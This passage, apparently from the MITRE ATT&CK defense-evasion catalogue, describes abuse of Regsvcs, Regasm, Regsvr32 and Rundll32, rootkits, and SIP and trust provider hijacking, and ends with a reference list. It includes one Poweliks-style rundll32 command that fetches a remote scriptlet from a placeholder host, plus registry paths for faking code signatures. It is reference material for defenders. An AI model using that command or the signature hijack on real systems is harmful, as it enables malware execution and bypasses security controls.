Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft.124125 Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.79
Regsvr32Defense Evasion
Execution
Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries.126

Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.

Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed.127 This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments.128129

Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking.128
RootkitDefense EvasionRootkits are programs that hide the existence of malware by intercepting (i.e., Hooking) and modifying operating system API calls that supply system information.130 Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware.131 Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems.132133
Rundll32Defense Evasion
Execution
The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.

Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.134

Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.135
SIP and Trust Provider HijackingDefense Evasion
Persistence
In user mode, Windows Authenticode136 digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,137 which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature.138

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs)139 to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all 140) and are identified by globally unique identifiers (GUIDs).138

Similar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by:138

  • Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value all files using that SIP141 (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
  • Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP141 (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
  • Modifying the DLL and Function Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
  • Note: The above hijacks are also possible without modifying the Registry via DLL Search Order Hijacking.
Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation.138
... further results

References

  1. ^  Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.
  2. ^  netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.
  3. ^  Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.
  4. ^  Offensive Security. (n.d.). What is Incognito. Retrieved April 21, 2017.
  5. ^  Mudge, R. (n.d.). Windows Access Tokens and Alternate Credentials. Retrieved April 21, 2017.
  6. ^  Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.
  7. a b  Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.
  8. ^  Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.
  9. a b c  Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018.
  10. ^  Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background Intelligent Transfer Service. Retrieved January 12, 2018.
  11. ^  Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.
  12. ^  Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.
  13. ^  Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.
  14. ^  Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.
  15. ^  Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.
  16. ^  Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.
  17. ^  UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.
  18. ^  Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.
  19. ^  Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.
  20. ^  Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.
  21. ^  Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.
  22. ^  Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.
  23. a b  Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.
  24. ^  Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.
  25. a b  Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.
  26. a b  Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.
  27. ^  Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.
  28. ^  Ladikov, A. (2015, January 29). Why You Shouldn’t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.
  29. ^  Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.
  30. ^  Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.
  31. ^  G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.
  32. a b c  M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.
  33. a b c  Mercês, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.
  34. a b  Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.
  35. ^  Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.
  36. a b c  Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.
  37. a b  Delpy, B. & LE TOUX, V. (2018, January 24). Active Directory: What can make your million dollar SIEM go blind?. Retrieved March 20, 2018.
  38. ^  Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.
  39. ^  Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.
  40. ^  OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.
  41. ^  Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.
  42. ^  Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.
  43. ^  Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.
  44. ^  Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.
  45. ^  Microsoft. (n.d.). Manifests. Retrieved June 3, 2016.
  46. ^  Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.
  47. ^  Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.
  48. a b  Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.
  49. a b  Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.
  50. ^  Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.
  51. ^  Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.
  52. ^  Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.
  53. a b c d  Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.
  54. ^  MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017.
  55. ^  Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.
  56. ^  Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.
  57. ^  Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.
  58. ^  Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.
  59. a b  Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.
  60. ^  Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.
  61. ^  Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.
  62. ^  Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.
  63. a b c  Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
  64. a b  Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.
  65. ^  Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.
  66. ^  Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 8, 2017.
  67. a b  Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.
  68. ^  Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.
  69. ^  FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.
  70. ^  Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.
  71. ^  vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018.
  72. ^  Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018.
  73. ^  Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.
  74. ^  Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.
  75. ^  Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.
  76. ^  Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.
  77. ^  Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.
  78. ^  Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.
  79. a b  [ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017.]
  80. ^  Bit9 + Carbon Black Threat Research Team. (2015). 2015: The Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.
  81. ^  Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.
  82. ^  F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.
  83. ^  Michal Malik AND Marc-Etienne M.Léveillé. (2016, March 30). Meet Remaiten – a Linux bot on steroids targeting routers and potentially other IoT devices. Retrieved September 7, 2017.
  84. ^  Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy’s Linux Backdoor. Retrieved September 10, 2017.
  85. ^  Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.
  86. ^  Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.
  87. ^  Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.
  88. ^  Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.
  89. ^  Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.
  90. ^  Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.
  91. ^  McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.
  92. ^  Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.
  93. ^  Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.
  94. ^  Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.
  95. ^  [ Smith, C. (2017, July 14). TheList.txt. Retrieved October 27, 2017.]
  96. a b  Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.
  97. ^  Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.
  98. ^  Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.
  99. a b  Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.
  100. ^  Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.
  101. ^  Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.
  102. ^  Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.
  103. ^  Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.
  104. ^  Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.
  105. ^  Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.
  106. ^  White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.
  107. ^  Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.
  108. ^  Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.
  109. ^  Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.
  110. ^  Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.
  111. ^  Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.
  112. a b c  Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelgänging. Retrieved December 20, 2017.
  113. ^  Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.
  114. ^  Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.
  115. ^  Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.
  116. ^  Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.
  117. ^  Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.
  118. ^  Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.
  119. ^  Turner-Trauring, I. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.
  120. a b c  skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.
  121. ^  halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.
  122. ^  O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved December 20, 2017.
  123. ^  Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.
  124. ^  Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.
  125. ^  Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.
  126. ^  Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.
  127. ^  [ Smith, C. (2016, April 19). Bypass Application Whitelisting Script Protections - Regsvr32.exe & COM Scriptlets (.sct files). Retrieved June 30, 2017.]
  128. a b  Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. Retrieved April 9, 2018.
  129. ^  Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.
  130. ^  Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.
  131. ^  Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.
  132. ^  Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.
  133. ^  Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.
  134. ^  Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.
  135. ^  B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.
  136. ^  Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.
  137. ^  Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.
  138. a b c d  Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.
  139. ^  Navarro, E. (2008, July 11). SIP’s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.
  140. ^  Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.
  141. a b  Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.